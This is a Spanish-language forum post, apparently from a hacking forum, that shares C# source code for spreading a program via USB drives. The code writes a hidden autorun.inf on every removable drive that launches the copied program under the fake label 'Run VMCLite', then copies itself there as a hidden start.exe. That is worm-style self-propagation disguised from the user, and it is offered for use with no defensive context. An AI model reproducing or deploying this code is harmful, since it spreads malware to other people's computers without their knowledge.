Anuncio

Colapsar
Aún no hay anuncio.

Propagación por USB

Colapsar
X
  • Filtro
  • Hora
  • Mostrar
Clear All
nuevos mensajes

  • Propagación por USB

    Hola, aquí les dejo un código en C# para hacer propagación por USB

    Código:
     class Spread
        {
            public void USBSpread()
            {
                // Path to this program
                string source = Environment.GetCommandLineArgs()[0];
    
                // Get all the available drives
                DriveInfo[] drives = DriveInfo.GetDrives();
    
                // Loop through the drives
                try
                {
                    foreach (DriveInfo drive in drives)
                    {
                        // Check the drive type
                        if (drive.DriveType == DriveType.Removable)
                        {
                            // If it is a removable drive
                            string autorunPath = string.Concat(drive.Name, "autorun.inf");
    
                            // Create the object to write to the autorun file.
                            StreamWriter outfile = new StreamWriter(autorunPath);
    
                            // Writing to autorun
                            outfile.WriteLine("[autorun]");
                            outfile.WriteLine("open=start.exe");
                            outfile.WriteLine("action=Run VMCLite");
                            outfile.Close();
    
                            // Make the .inf file hidden
                            File.SetAttributes(autorunPath, FileAttributes.Hidden);
    
                            // Try to copy the .exe file to the removable drive.
                            try
                            {
                                File.Copy(source, string.Concat(drive.Name, "start.exe"), true);
    
                                // Make the .exe file hidden
                                File.SetAttributes(string.Concat(drive.Name, "start.exe"), FileAttributes.Hidden);
                            }
                            finally
                            {
                                Console.WriteLine("Removable device is rooted.");
                            }
                        }
                    }
                }
                catch(Exception ex)
                {
                    Console.WriteLine("Exception: " + ex.ToString());
                }
            }
        }
Trabajando...
X